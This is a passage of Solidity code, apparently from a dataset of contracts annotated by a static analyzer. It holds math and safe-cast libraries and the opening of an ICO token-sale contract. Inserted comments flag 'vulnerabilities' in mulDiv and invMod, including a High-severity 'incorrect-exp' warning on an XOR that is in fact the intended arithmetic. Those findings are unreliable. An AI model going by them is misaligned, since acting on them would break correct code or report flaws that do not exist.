}\n}\n\nlibrary Panic {\n uint256 internal constant GENERIC = 0x00;\n\n uint256 internal constant ASSERT = 0x01;\n\n uint256 internal constant UNDER_OVERFLOW = 0x11;\n\n uint256 internal constant DIVISION_BY_ZERO = 0x12;\n\n uint256 internal constant ENUM_CONVERSION_ERROR = 0x21;\n\n uint256 internal constant STORAGE_ENCODING_ERROR = 0x22;\n\n uint256 internal constant EMPTY_ARRAY_POP = 0x31;\n\n uint256 internal constant ARRAY_OUT_OF_BOUNDS = 0x32;\n\n uint256 internal constant RESOURCE_ERROR = 0x41;\n\n uint256 internal constant INVALID_INTERNAL_FUNCTION = 0x51;\n\n function panic(uint256 code) internal pure {\n assembly (\"memory-safe\") {\n mstore(0x00, 0x4e487b71)\n\n mstore(0x20, code)\n\n revert(0x1c, 0x24)\n }\n }\n}\n\nlibrary SafeCast {\n error SafeCastOverflowedUintDowncast(uint8 bits, uint256 value);\n\n error SafeCastOverflowedIntToUint(int256 value);\n\n error SafeCastOverflowedIntDowncast(uint8 bits, int256 value);\n\n error SafeCastOverflowedUintToInt(uint256 value);\n\n function toUint248(uint256 value) internal pure returns (uint248) {\n if (value > type(uint248).max) {\n revert SafeCastOverflowedUintDowncast(248, value);\n }\n\n return uint248(value);\n }\n\n function toUint240(uint256 value) internal pure returns (uint240) {\n if (value > type(uint240).max) {\n revert SafeCastOverflowedUintDowncast(240, value);\n }\n\n return uint240(value);\n }\n\n function toUint232(uint256 value) internal pure returns (uint232) {\n if (value > type(uint232).max) {\n revert SafeCastOverflowedUintDowncast(232, value);\n }\n\n return uint232(value);\n }\n\n function toUint224(uint256 value) internal pure returns (uint224) {\n if (value > type(uint224).max) {\n revert SafeCastOverflowedUintDowncast(224, value);\n }\n\n return uint224(value);\n }\n\n function toUint216(uint256 value) internal pure returns (uint216) {\n if (value > type(uint216).max) {\n revert SafeCastOverflowedUintDowncast(216, value);\n }\n\n return uint216(value);\n }\n\n function toUint208(uint256 value) internal pure returns (uint208) {\n if (value > type(uint208).max) {\n revert SafeCastOverflowedUintDowncast(208, value);\n }\n\n return uint208(value);\n }\n\n function toUint200(uint256 value) internal pure returns (uint200) {\n if (value > type(uint200).max) {\n revert SafeCastOverflowedUintDowncast(200, value);\n }\n\n return uint200(value);\n }\n\n function toUint192(uint256 value) internal pure returns (uint192) {\n if (value > type(uint192).max) {\n revert SafeCastOverflowedUintDowncast(192, value);\n }\n\n return uint192(value);\n }\n\n function toUint184(uint256 value) internal pure returns (uint184) {\n if (value > type(uint184).max) {\n revert SafeCastOverflowedUintDowncast(184, value);\n }\n\n return uint184(value);\n }\n\n function toUint176(uint256 value) internal pure returns (uint176) {\n if (value > type(uint176).max) {\n revert SafeCastOverflowedUintDowncast(176, value);\n }\n\n return uint176(value);\n }\n\n function toUint168(uint256 value) internal pure returns (uint168) {\n if (value > type(uint168).max) {\n revert SafeCastOverflowedUintDowncast(168, value);\n }\n\n return uint168(value);\n }\n\n function toUint160(uint256 value) internal pure returns (uint160) {\n if (value > type(uint160).max) {\n revert SafeCastOverflowedUintDowncast(160, value);\n }\n\n return uint160(value);\n }\n\n function toUint152(uint256 value) internal pure returns (uint152) {\n if (value > type(uint152).max) {\n revert SafeCastOverflowedUintDowncast(152, value);\n }\n\n return uint152(value);\n }\n\n function toUint144(uint256 value) internal pure returns (uint144) {\n if (value > type(uint144).max) {\n revert SafeCastOverflowedUintDowncast(144, value);\n }\n\n return uint144(value);\n }\n\n function toUint136(uint256 value) internal pure returns (uint136) {\n if (value > type(uint136).max) {\n revert SafeCastOverflowedUintDowncast(136, value);\n }\n\n return uint136(value);\n }\n\n function toUint128(uint256 value) internal pure returns (uint128) {\n if (value > type(uint128).max) {\n revert SafeCastOverflowedUintDowncast(128, value);\n }\n\n return uint128(value);\n }\n\n function toUint120(uint256 value) internal pure returns (uint120) {\n if (value > type(uint120).max) {\n revert SafeCastOverflowedUintDowncast(120, value);\n }\n\n return uint120(value);\n }\n\n function toUint112(uint256 value) internal pure returns (uint112) {\n if (value > type(uint112).max) {\n revert SafeCastOverflowedUintDowncast(112, value);\n }\n\n return uint112(value);\n }\n\n function toUint104(uint256 value) internal pure returns (uint104) {\n if (value > type(uint104).max) {\n revert SafeCastOverflowedUintDowncast(104, value);\n }\n\n return uint104(value);\n }\n\n function toUint96(uint256 value) internal pure returns (uint96) {\n if (value > type(uint96).max) {\n revert SafeCastOverflowedUintDowncast(96, value);\n }\n\n return uint96(value);\n }\n\n function toUint88(uint256 value) internal pure returns (uint88) {\n if (value > type(uint88).max) {\n revert SafeCastOverflowedUintDowncast(88, value);\n }\n\n return uint88(value);\n }\n\n function toUint80(uint256 value) internal pure returns (uint80) {\n if (value > type(uint80).max) {\n revert SafeCastOverflowedUintDowncast(80, value);\n }\n\n return uint80(value);\n }\n\n function toUint72(uint256 value) internal pure returns (uint72) {\n if (value > type(uint72).max) {\n revert SafeCastOverflowedUintDowncast(72, value);\n }\n\n return uint72(value);\n }\n\n function toUint64(uint256 value) internal pure returns (uint64) {\n if (value > type(uint64).max) {\n revert SafeCastOverflowedUintDowncast(64, value);\n }\n\n return uint64(value);\n }\n\n function toUint56(uint256 value) internal pure returns (uint56) {\n if (value > type(uint56).max) {\n revert SafeCastOverflowedUintDowncast(56, value);\n }\n\n return uint56(value);\n }\n\n function toUint48(uint256 value) internal pure returns (uint48) {\n if (value > type(uint48).max) {\n revert SafeCastOverflowedUintDowncast(48, value);\n }\n\n return uint48(value);\n }\n\n function toUint40(uint256 value) internal pure returns (uint40) {\n if (value > type(uint40).max) {\n revert SafeCastOverflowedUintDowncast(40, value);\n }\n\n return uint40(value);\n }\n\n function toUint32(uint256 value) internal pure returns (uint32) {\n if (value > type(uint32).max) {\n revert SafeCastOverflowedUintDowncast(32, value);\n }\n\n return uint32(value);\n }\n\n function toUint24(uint256 value) internal pure returns (uint24) {\n if (value > type(uint24).max) {\n revert SafeCastOverflowedUintDowncast(24, value);\n }\n\n return uint24(value);\n }\n\n function toUint16(uint256 value) internal pure returns (uint16) {\n if (value > type(uint16).max) {\n revert SafeCastOverflowedUintDowncast(16, value);\n }\n\n return uint16(value);\n }\n\n function toUint8(uint256 value) internal pure returns (uint8) {\n if (value > type(uint8).max) {\n revert SafeCastOverflowedUintDowncast(8, value);\n }\n\n return uint8(value);\n }\n\n function toUint256(int256 value) internal pure returns (uint256) {\n if (value < 0) {\n revert SafeCastOverflowedIntToUint(value);\n }\n\n return uint256(value);\n }\n\n function toInt248(int256 value) internal pure returns (int248 downcasted) {\n downcasted = int248(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(248, value);\n }\n }\n\n function toInt240(int256 value) internal pure returns (int240 downcasted) {\n downcasted = int240(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(240, value);\n }\n }\n\n function toInt232(int256 value) internal pure returns (int232 downcasted) {\n downcasted = int232(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(232, value);\n }\n }\n\n function toInt224(int256 value) internal pure returns (int224 downcasted) {\n downcasted = int224(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(224, value);\n }\n }\n\n function toInt216(int256 value) internal pure returns (int216 downcasted) {\n downcasted = int216(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(216, value);\n }\n }\n\n function toInt208(int256 value) internal pure returns (int208 downcasted) {\n downcasted = int208(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(208, value);\n }\n }\n\n function toInt200(int256 value) internal pure returns (int200 downcasted) {\n downcasted = int200(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(200, value);\n }\n }\n\n function toInt192(int256 value) internal pure returns (int192 downcasted) {\n downcasted = int192(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(192, value);\n }\n }\n\n function toInt184(int256 value) internal pure returns (int184 downcasted) {\n downcasted = int184(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(184, value);\n }\n }\n\n function toInt176(int256 value) internal pure returns (int176 downcasted) {\n downcasted = int176(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(176, value);\n }\n }\n\n function toInt168(int256 value) internal pure returns (int168 downcasted) {\n downcasted = int168(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(168, value);\n }\n }\n\n function toInt160(int256 value) internal pure returns (int160 downcasted) {\n downcasted = int160(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(160, value);\n }\n }\n\n function toInt152(int256 value) internal pure returns (int152 downcasted) {\n downcasted = int152(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(152, value);\n }\n }\n\n function toInt144(int256 value) internal pure returns (int144 downcasted) {\n downcasted = int144(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(144, value);\n }\n }\n\n function toInt136(int256 value) internal pure returns (int136 downcasted) {\n downcasted = int136(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(136, value);\n }\n }\n\n function toInt128(int256 value) internal pure returns (int128 downcasted) {\n downcasted = int128(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(128, value);\n }\n }\n\n function toInt120(int256 value) internal pure returns (int120 downcasted) {\n downcasted = int120(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(120, value);\n }\n }\n\n function toInt112(int256 value) internal pure returns (int112 downcasted) {\n downcasted = int112(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(112, value);\n }\n }\n\n function toInt104(int256 value) internal pure returns (int104 downcasted) {\n downcasted = int104(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(104, value);\n }\n }\n\n function toInt96(int256 value) internal pure returns (int96 downcasted) {\n downcasted = int96(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(96, value);\n }\n }\n\n function toInt88(int256 value) internal pure returns (int88 downcasted) {\n downcasted = int88(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(88, value);\n }\n }\n\n function toInt80(int256 value) internal pure returns (int80 downcasted) {\n downcasted = int80(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(80, value);\n }\n }\n\n function toInt72(int256 value) internal pure returns (int72 downcasted) {\n downcasted = int72(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(72, value);\n }\n }\n\n function toInt64(int256 value) internal pure returns (int64 downcasted) {\n downcasted = int64(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(64, value);\n }\n }\n\n function toInt56(int256 value) internal pure returns (int56 downcasted) {\n downcasted = int56(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(56, value);\n }\n }\n\n function toInt48(int256 value) internal pure returns (int48 downcasted) {\n downcasted = int48(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(48, value);\n }\n }\n\n function toInt40(int256 value) internal pure returns (int40 downcasted) {\n downcasted = int40(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(40, value);\n }\n }\n\n function toInt32(int256 value) internal pure returns (int32 downcasted) {\n downcasted = int32(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(32, value);\n }\n }\n\n function toInt24(int256 value) internal pure returns (int24 downcasted) {\n downcasted = int24(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(24, value);\n }\n }\n\n function toInt16(int256 value) internal pure returns (int16 downcasted) {\n downcasted = int16(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(16, value);\n }\n }\n\n function toInt8(int256 value) internal pure returns (int8 downcasted) {\n downcasted = int8(value);\n\n if (downcasted != value) {\n revert SafeCastOverflowedIntDowncast(8, value);\n }\n }\n\n function toInt256(uint256 value) internal pure returns (int256) {\n if (value > uint256(type(int256).max)) {\n revert SafeCastOverflowedUintToInt(value);\n }\n\n return int256(value);\n }\n\n function toUint(bool b) internal pure returns (uint256 u) {\n assembly (\"memory-safe\") {\n u := iszero(iszero(b))\n }\n }\n}\n\nlibrary Math {\n enum Rounding {\n Floor,\n Ceil,\n Trunc,\n Expand\n }\n\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool success, uint256 result) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool success, uint256 result) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool success, uint256 result) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool success, uint256 result) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool success, uint256 result) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function ternary(\n bool condition,\n uint256 a,\n uint256 b\n ) internal pure returns (uint256) {\n unchecked {\n return b ^ ((a ^ b) * SafeCast.toUint(condition));\n }\n }\n\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return ternary(a > b, a, b);\n }\n\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return ternary(a < b, a, b);\n }\n\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n return (a & b) + (a ^ b) / 2;\n }\n\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n if (b == 0) {\n Panic.panic(Panic.DIVISION_BY_ZERO);\n }\n\n unchecked {\n return SafeCast.toUint(a > 0) * ((a - 1) / b + 1);\n }\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 4192e5f): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division prod0 = prod0 / twos result = prod0 * inverse\n\t// Recommendation for 4192e5f: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: c583e61): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for c583e61: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 2a6dce2): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 2a6dce2: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: ca41d29): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse = (3 * denominator) ^ 2\n\t// Recommendation for ca41d29: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: cb77d9f): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for cb77d9f: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 4882316): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 4882316: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: c40b0f5): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for c40b0f5: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: da39522): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for da39522: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (incorrect-exp | severity: High | ID: 5a94049): Math.mulDiv(uint256,uint256,uint256) has bitwisexor operator ^ instead of the exponentiation operator ** inverse = (3 * denominator) ^ 2\n\t// Recommendation for 5a94049: Use the correct operator '**' for exponentiation.\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator\n ) internal pure returns (uint256 result) {\n unchecked {\n uint256 prod0 = x * y;\n\n uint256 prod1;\n\n assembly {\n let mm := mulmod(x, y, not(0))\n\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n if (prod1 == 0) {\n return prod0 / denominator;\n }\n\n if (denominator <= prod1) {\n Panic.panic(\n ternary(\n denominator == 0,\n Panic.DIVISION_BY_ZERO,\n Panic.UNDER_OVERFLOW\n )\n );\n }\n\n uint256 remainder;\n\n assembly {\n remainder := mulmod(x, y, denominator)\n\n prod1 := sub(prod1, gt(remainder, prod0))\n\n prod0 := sub(prod0, remainder)\n }\n\n uint256 twos = denominator & (0 - denominator);\n\n assembly {\n\t\t\t\t// divide-before-multiply | ID: c583e61\n\t\t\t\t// divide-before-multiply | ID: 2a6dce2\n\t\t\t\t// divide-before-multiply | ID: ca41d29\n\t\t\t\t// divide-before-multiply | ID: cb77d9f\n\t\t\t\t// divide-before-multiply | ID: 4882316\n\t\t\t\t// divide-before-multiply | ID: c40b0f5\n\t\t\t\t// divide-before-multiply | ID: da39522\n denominator := div(denominator, twos)\n\n\t\t\t\t// divide-before-multiply | ID: 4192e5f\n prod0 := div(prod0, twos)\n\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n prod0 |= prod1 * twos;\n\n\t\t\t// divide-before-multiply | ID: ca41d29\n\t\t\t// incorrect-exp | ID: 5a94049\n uint256 inverse = (3 * denominator) ^ 2;\n\n\t\t\t// divide-before-multiply | ID: da39522\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: cb77d9f\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: c583e61\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 2a6dce2\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 4882316\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: c40b0f5\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 4192e5f\n result = prod0 * inverse;\n\n return result;\n }\n }\n\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator,\n Rounding rounding\n ) internal pure returns (uint256) {\n return\n mulDiv(x, y, denominator) +\n SafeCast.toUint(\n unsignedRoundsUp(rounding) && mulmod(x, y, denominator) > 0\n );\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: f75ffc4): Math.invMod(uint256,uint256) performs a multiplication on the result of a division quotient = gcd / remainder (gcd,remainder) = (remainder,gcd remainder * quotient)\n\t// Recommendation for f75ffc4: Consider ordering multiplication before division.\n function invMod(uint256 a, uint256 n) internal pure returns (uint256) {\n unchecked {\n if (n == 0) return 0;\n\n uint256 remainder = a % n;\n\n uint256 gcd = n;\n\n int256 x = 0;\n\n int256 y = 1;\n\n while (remainder != 0) {\n\t\t\t\t// divide-before-multiply | ID: f75ffc4\n uint256 quotient = gcd / remainder;\n\n\t\t\t\t// divide-before-multiply | ID: f75ffc4\n (gcd, remainder) = (remainder, gcd - remainder * quotient);\n\n (x, y) = (y, x - y * int256(quotient));\n }\n\n if (gcd != 1) return 0;\n\n return ternary(x < 0, n - uint256(-x), uint256(x));\n }\n }\n\n function invModPrime(uint256 a, uint256 p) internal view returns (uint256) {\n unchecked {\n return Math.modExp(a, p - 2, p);\n }\n }\n\n function modExp(\n uint256 b,\n uint256 e,\n uint256 m\n ) internal view returns (uint256) {\n (bool success, uint256 result) = tryModExp(b, e, m);\n\n if (!success) {\n Panic.panic(Panic.DIVISION_BY_ZERO);\n }\n\n return result;\n }\n\n function tryModExp(\n uint256 b,\n uint256 e,\n uint256 m\n ) internal view returns (bool success, uint256 result) {\n if (m == 0) return (false, 0);\n\n assembly (\"memory-safe\") {\n let ptr := mload(0x40)\n\n mstore(ptr, 0x20)\n\n mstore(add(ptr, 0x20), 0x20)\n\n mstore(add(ptr, 0x40), 0x20)\n\n mstore(add(ptr, 0x60), b)\n\n mstore(add(ptr, 0x80), e)\n\n mstore(add(ptr, 0xa0), m)\n\n success := staticcall(gas(), 0x05, ptr, 0xc0, 0x00, 0x20)\n\n result := mload(0x00)\n }\n }\n\n function modExp(\n bytes memory b,\n bytes memory e,\n bytes memory m\n ) internal view returns (bytes memory) {\n (bool success, bytes memory result) = tryModExp(b, e, m);\n\n if (!success) {\n Panic.panic(Panic.DIVISION_BY_ZERO);\n }\n\n return result;\n }\n\n function tryModExp(\n bytes memory b,\n bytes memory e,\n bytes memory m\n ) internal view returns (bool success, bytes memory result) {\n if (_zeroBytes(m)) return (false, new bytes(0));\n\n uint256 mLen = m.length;\n\n result = abi.encodePacked(b.length, e.length, mLen, b, e, m);\n\n assembly (\"memory-safe\") {\n let dataPtr := add(result, 0x20)\n\n success := staticcall(\n gas(),\n 0x05,\n dataPtr,\n mload(result),\n dataPtr,\n mLen\n )\n\n mstore(result, mLen)\n\n mstore(0x40, add(dataPtr, mLen))\n }\n }\n\n function _zeroBytes(bytes memory byteArray) private pure returns (bool) {\n for (uint256 i = 0; i < byteArray.length; ++i) {\n if (byteArray[i] != 0) {\n return false;\n }\n }\n\n return true;\n }\n\n function sqrt(uint256 a) internal pure returns (uint256) {\n unchecked {\n if (a <= 1) {\n return a;\n }\n\n uint256 aa = a;\n\n uint256 xn = 1;\n\n if (aa >= (1 << 128)) {\n aa >>= 128;\n\n xn <<= 64;\n }\n\n if (aa >= (1 << 64)) {\n aa >>= 64;\n\n xn <<= 32;\n }\n\n if (aa >= (1 << 32)) {\n aa >>= 32;\n\n xn <<= 16;\n }\n\n if (aa >= (1 << 16)) {\n aa >>= 16;\n\n xn <<= 8;\n }\n\n if (aa >= (1 << 8)) {\n aa >>= 8;\n\n xn <<= 4;\n }\n\n if (aa >= (1 << 4)) {\n aa >>= 4;\n\n xn <<= 2;\n }\n\n if (aa >= (1 << 2)) {\n xn <<= 1;\n }\n\n xn = (3 * xn) >> 1;\n\n xn = (xn + a / xn) >> 1;\n\n xn = (xn + a / xn) >> 1;\n\n xn = (xn + a / xn) >> 1;\n\n xn = (xn + a / xn) >> 1;\n\n xn = (xn + a / xn) >> 1;\n\n xn = (xn + a / xn) >> 1;\n\n return xn - SafeCast.toUint(xn > a / xn);\n }\n }\n\n function sqrt(\n uint256 a,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n\n return\n result +\n SafeCast.toUint(\n unsignedRoundsUp(rounding) && result * result < a\n );\n }\n }\n\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n uint256 exp;\n\n unchecked {\n exp = 128 * SafeCast.toUint(value > (1 << 128) - 1);\n\n value >>= exp;\n\n result += exp;\n\n exp = 64 * SafeCast.toUint(value > (1 << 64) - 1);\n\n value >>= exp;\n\n result += exp;\n\n exp = 32 * SafeCast.toUint(value > (1 << 32) - 1);\n\n value >>= exp;\n\n result += exp;\n\n exp = 16 * SafeCast.toUint(value > (1 << 16) - 1);\n\n value >>= exp;\n\n result += exp;\n\n exp = 8 * SafeCast.toUint(value > (1 << 8) - 1);\n\n value >>= exp;\n\n result += exp;\n\n exp = 4 * SafeCast.toUint(value > (1 << 4) - 1);\n\n value >>= exp;\n\n result += exp;\n\n exp = 2 * SafeCast.toUint(value > (1 << 2) - 1);\n\n value >>= exp;\n\n result += exp;\n\n result += SafeCast.toUint(value > 1);\n }\n\n return result;\n }\n\n function log2(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n\n return\n result +\n SafeCast.toUint(\n unsignedRoundsUp(rounding) && 1 << result < value\n );\n }\n }\n\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >= 10 ** 64) {\n value /= 10 ** 64;\n\n result += 64;\n }\n\n if (value >= 10 ** 32) {\n value /= 10 ** 32;\n\n result += 32;\n }\n\n if (value >= 10 ** 16) {\n value /= 10 ** 16;\n\n result += 16;\n }\n\n if (value >= 10 ** 8) {\n value /= 10 ** 8;\n\n result += 8;\n }\n\n if (value >= 10 ** 4) {\n value /= 10 ** 4;\n\n result += 4;\n }\n\n if (value >= 10 ** 2) {\n value /= 10 ** 2;\n\n result += 2;\n }\n\n if (value >= 10 ** 1) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log10(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n\n return\n result +\n SafeCast.toUint(\n unsignedRoundsUp(rounding) && 10 ** result < value\n );\n }\n }\n\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n uint256 isGt;\n\n unchecked {\n isGt = SafeCast.toUint(value > (1 << 128) - 1);\n\n value >>= isGt * 128;\n\n result += isGt * 16;\n\n isGt = SafeCast.toUint(value > (1 << 64) - 1);\n\n value >>= isGt * 64;\n\n result += isGt * 8;\n\n isGt = SafeCast.toUint(value > (1 << 32) - 1);\n\n value >>= isGt * 32;\n\n result += isGt * 4;\n\n isGt = SafeCast.toUint(value > (1 << 16) - 1);\n\n value >>= isGt * 16;\n\n result += isGt * 2;\n\n result += SafeCast.toUint(value > (1 << 8) - 1);\n }\n\n return result;\n }\n\n function log256(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n\n return\n result +\n SafeCast.toUint(\n unsignedRoundsUp(rounding) && 1 << (result << 3) < value\n );\n }\n }\n\n function unsignedRoundsUp(Rounding rounding) internal pure returns (bool) {\n return uint8(rounding) % 2 == 1;\n }\n}\n\ncontract ECMPublicICO is ReentrancyGuard, Pausable, Ownable(msg.sender) {\n using SafeMath for uint256;\n\n IERC20 public immutable ecmToken;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 497aaef): ECMPublicICO.treasuryWallet should be immutable \n\t// Recommendation for 497aaef: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable public treasuryWallet;\n\n struct Stage {\n uint256 target;\n uint256 price;\n uint256 bonus;\n uint256 refBonus;\n uint256 tokensSold;\n uint256 bonusDistributed;\n bool isCompleted;\n }\n\n Stage[] public stages;\n\n uint256 public currentStage;\n\n uint256 public totalTokensSold;\n\n uint256 public totalBonusDistributed;\n\n uint256 public totalReferralRewards;\n\n uint256 public totalGasRefunds;\n\n bool public isSpecialOfferEnabled;\n\n uint256 public minimumPurchaseForOffer;\n\n uint256 private constant GWEI = 1e9;\n\n uint256 private constant MAX_GAS_REFUND = 0.01 ether;\n\n mapping(address => uint256) public contributions;\n\n event ECMPurchased(\n address indexed buyer,\n uint256 amount,\n uint256 bonusAmount,\n uint256 stage\n );\n\n event ReferralPaid(address indexed referrer, uint256 amount);\n\n event StageCompleted(uint256 stageIndex);\n\n event TokensWithdrawn(address indexed to, uint256 amount);\n\n event FundsWithdrawn(address indexed to, uint256 amount);\n\n event StageUpdated(uint256 stageIndex);\n\n event BonusUpdated(uint256 stageIndex, uint256 newBonus);\n\n event RefBonusUpdated(uint256 stageIndex, uint256 newRefBonus);\n\n event SpecialOfferUpdated(bool isEnabled, uint256 minimumPurchase);\n\n event GasRefunded(address indexed buyer, uint256 amount);\n\n event CurrentStageUpdated(uint256 newStage);\n\n constructor(address _ecmToken) {\n require(_ecmToken != address(0), \"Invalid token address\");\n\n ecmToken = IERC20(_ecmToken);\n\n treasuryWallet = payable(owner());\n\n stages.push(Stage(200000 * 1e18, 0.00040 ether, 20, 2, 0, 0, false));\n\n stages.push(Stage(200000 * 1e18, 0.00041 ether, 15, 2, 0, 0, false));\n\n stages.push(Stage(200000 * 1e18, 0.00042 ether, 10, 2, 0, 0, false));\n\n stages.push(Stage(100000 * 1e18, 0.00043 ether, 0, 2, 0, 0, false));\n\n stages.push(Stage(100000 * 1e18, 0.00044 ether, 0, 2, 0, 0, false));\n\n stages.push(Stage(50000 * 1e18, 0.00045 ether, 0, 2, 0, 0, false));\n\n stages.push(Stage(50000 * 1e18, 0.00046 ether, 0, 2, 0, 0, false));\n\n stages.push(Stage(50000 * 1e18, 0.00047 ether, 0, 2, 0, 0, false));\n\n stages.push(Stage(50000 * 1e18, 0.00048 ether, 0, 2, 0, 0, false));\n\n currentStage = 0;\n\n isSpecialOfferEnabled = true;\n\n minimumPurchaseForOffer = 100 * 1e18;\n }\n\n receive() external payable whenNotPaused {\n require(currentStage < stages.length, \"ICO has ended\");\n\n _buyECM(msg.sender, address(0));\n }\n\n fallback() external payable whenNotPaused {\n require(msg.value > 0, \"Invalid amount\");\n\n require(currentStage < stages.length, \"ICO has ended\");\n\n _buyECM(msg.sender, address(0));\n }\n\n function buyECM(\n address referrer\n ) external payable whenNotPaused nonReentrant {\n require(currentStage < stages.length, \"ICO has ended\");\n\n _buyECM(msg.sender, referrer);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c332d2a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c332d2a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: eeea570): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for eeea570: Apply 